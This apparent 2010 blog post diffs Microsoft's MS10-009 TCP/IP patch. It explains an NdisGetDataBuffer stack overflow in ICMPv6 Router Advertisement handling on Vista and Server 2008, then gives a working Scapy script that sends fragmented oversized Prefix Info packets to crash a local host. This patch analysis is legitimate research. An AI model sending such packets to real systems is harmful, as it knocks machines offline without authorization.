Wednesday, February 24, 2010


A very long time ago, Microsoft patches used to be boring. Then Microsoft invented the SDL. The amount of patches and vulnerabilities fixed in Microsoft products did not decrease, but each bug became a unique and very interesting one...

February 2010 patches are no exception to this rule: each one of them provides enlightenment for the security researcher.

Let's begin this blog series with MS10-009: "Vulnerabilities in Windows TCP/IP Could Allow Remote Code Execution". This is some kind of Holy Grail in computer security: remote code execution through IP packets only!

First of all, this flaw affects Windows Vista and Windows 2008 Server "R1" only. For Windows Vista, Microsoft rewrote the whole TCP/IP stack with the objective to build a native IPv4/IPv6 dual stack. In the process they added a lot of kernel stuff, such as Winsock Kernel (WSK), and they removed deprecated stuff, such as SYN Flood protections (SynAttackProtect et al. registry keys).

Writing a TCP/IP stack is not a task for the faint of heart. Despite Microsoft hiring all sorts of talented engineers, the new stack was found vulnerable to Blat (before build 5270), Land (before build 5270) and Teardrop (before build 5384) attacks.

Even after Vista public release, several security bulletins have been published, addressing issues in the new TCP/IP stack - namely: MS08-001, MS08-004 (this one being specific to Vista) and MS09-048 (this one having a rating of "critical" on Windows Vista and 2008 only).

Therefore, Windows Vista and 2008 TCP/IP stack cannot be considered "mature" and remains an interesting playground for security researchers. Interestingly, MS10-009 vulnerabilities were silently fixed in Windows Seven and 2008 "R2", showing that Microsoft engineers are doing their homework on their side.

Now let's get to the point:
1. ICMPv6 Router Advertisement Vulnerability - CVE-2010-0239
"A remote code execution vulnerability exists in the Windows TCP/IP stack due to insufficient bounds checking when processing specially crafted ICMPv6 Router Advertisement packets. An anonymous attacker could exploit the vulnerability by sending specially crafted ICMPv6 Router Advertisement packets to a computer with IPv6 enabled."

2. Header MDL Fragmentation Vulnerability - CVE-2010-0240
"A remote code execution vulnerability exists in the Windows TCP/IP stack due to the manner in which the TCP/IP stack handles specially crafted Encapsulating Security Payloads (ESP) over UDP datagram fragments when running a custom network driver."

3. ICMPv6 Route Information Vulnerability - CVE-2010-0241
"A remote code execution vulnerability exists in the Windows TCP/IP stack due to insufficient bounds checking when processing specially crafted ICMPv6 Route Information packets. An anonymous attacker could exploit the vulnerability by sending specially crafted ICMPv6 Route Information packets to a computer with IPv6 enabled."

4. TCP/IP Selective Acknowledgement Vulnerability - CVE-2010-0242
"A denial of service vulnerability exists in TCP/IP processing in Microsoft Windows due to an error in the processing of specially crafted TCP packets with a malformed selective acknowledgment (SACK) value."

According to KB974145, several files are updated by MS10-009 patch. However we are going to focus on where the meat is, namely "TCPIP.SYS". All screenshots below apply to Windows 2008 "R1" English 32-bit.

Using BinDiff 3, it quickly appears that 39 functions have a similarity of less than "1.00".

Thanks to debugging symbols provided by Microsoft, matching flaws with functions names is pretty straightforward:
  • IppIsUdpEspPacket / IppReceiveUdpEspList will probably be in the path of flaw #2.
  • TcpEnqueueTcbSack will probably in the path of flaw #4.
  • IppHandleNeighborAdvertisement / Ipv6pHandleRouterAdvertisement will probably be in the path of flaws #1 and #3, which we are targeting today.
From that point, diffing is pretty straightforward.

On the left side (patched version), data size is pre-tested against 0x20, whereas on the right side (vulnerable version), data size is post-tested.

Let's have a deeper look at the NdisGetDataBuffer function, which is new to NDIS 6 (Windows Vista and up):

"Call the NdisGetDataBuffer function to gain access to a contiguous block of data from a NET_BUFFER structure.

PVOID NdisGetDataBuffer(


IN ULONG BytesNeeded, 
IN PVOID Storage,
IN UINT AlignMultiple,
IN UINT AlignOffset
Storage: a pointer to a buffer, or NULL if no buffer is provided by the caller. The buffer must be greater than or equal in size to the number of bytes specified in BytesNeeded. If this value is non-NULL, and the data requested is not contiguous, NDIS copies the requested data to the area indicated by Storage."

This API is quite hard to understand and clearly violates the principle of least surprise.

The NET_BUFFER structure holds a NET_BUFFER_HEADER structure, in which a NET_BUFFER_DATA structure can be found, which stores a Memory Descriptor List (MDL).

Let's assume that the caller passed a non-NULL Storage parameter to this function. If all packet data has already been allocated into a single (contiguous) memory area, NdisGetDataBuffer will simply return a pointer to this area. However, if packet data is split across several memory areas, NdisGetDataBuffer will concatenate everything into the Storage buffer. This is where the flaw lies, since Storage is a static buffer of 0x20 bytes allocated on stack (in case of Prefix Info option), whereas the vulnerable ICMPv6 option(s) can be of any size (options being passed in Type-Length-Value format).

Now, the last question is: how to force allocation of non-contiguous memory areas? The answer is obvious: using fragmentation, since packets are copied in memory "as is" at NDIS level …

A bit of Scapy magic later, here is one possible command to invoke the dreaded Blue Screen of Death on any IPv6-enabled remote system. This is a fragmented Router Advertisement (RA), using a non standard "Prefix Info" of length of 255. Please note that option size is given in multiples of 8, therefore the following code will trash 255*8 = 2040 bytes of kernel stack with byte 0x41.
v6_dst = "fe80::bd92:3788:79b0:c5d1"

mac_dst = "00:0c:29:de:9b:a8"

pkt = IPv6(dst=v6_dst, hlim=255) / IPv6ExtHdrFragment() / ICMPv6ND_RA() / ICMPv6NDOptPrefixInfo(len=255, prefixlen=64, prefix="2001::") / Raw(load='A'*2008)

l=fragment6(pkt, 1500)

for p in l:
  sendp(Ether(dst=mac_dst)/p, iface="eth0")
This is not the only NdisGetDataBuffer-based flaw that has been fixed, therefore other ICMPv6 options could be used to achieve the same result.

Now, is this ethical to release such a piece of information to the general public? Well, yes, considering the following mitigations:
  • This affects only IPv6-enabled Windows Vista and Windows 2008 "R1" systems (but IPv6 is enabled by default).
  • Microsoft provided a patch a few weeks ago.
  • This could raise NDIS 6 developers' awareness.
  • "Some people" have been working on it for more than 1 year, so it should be considered "available" (if not public).
  • Since Router Advertisements are not honored when TTL is lower than 255, this attack works only on the local subnet and could not be used to wreak havoc on the Internet.
  • "/GS" has proved so far to be an effective mitigation against remote code execution through this flaw ("it is just a DoS"™) – not to mention kernel-mode ASLR.
  • This is a good Scapy + IPv6 use case.
I might not say the same about other TCP/IP flaws that were fixed in this patch, such as the Selective Acknowledgement one …

Mandatory greetz: Arnaud Ebalard (of Scapy6 fame) and Fabrice Desclaux (of Rr0d fame).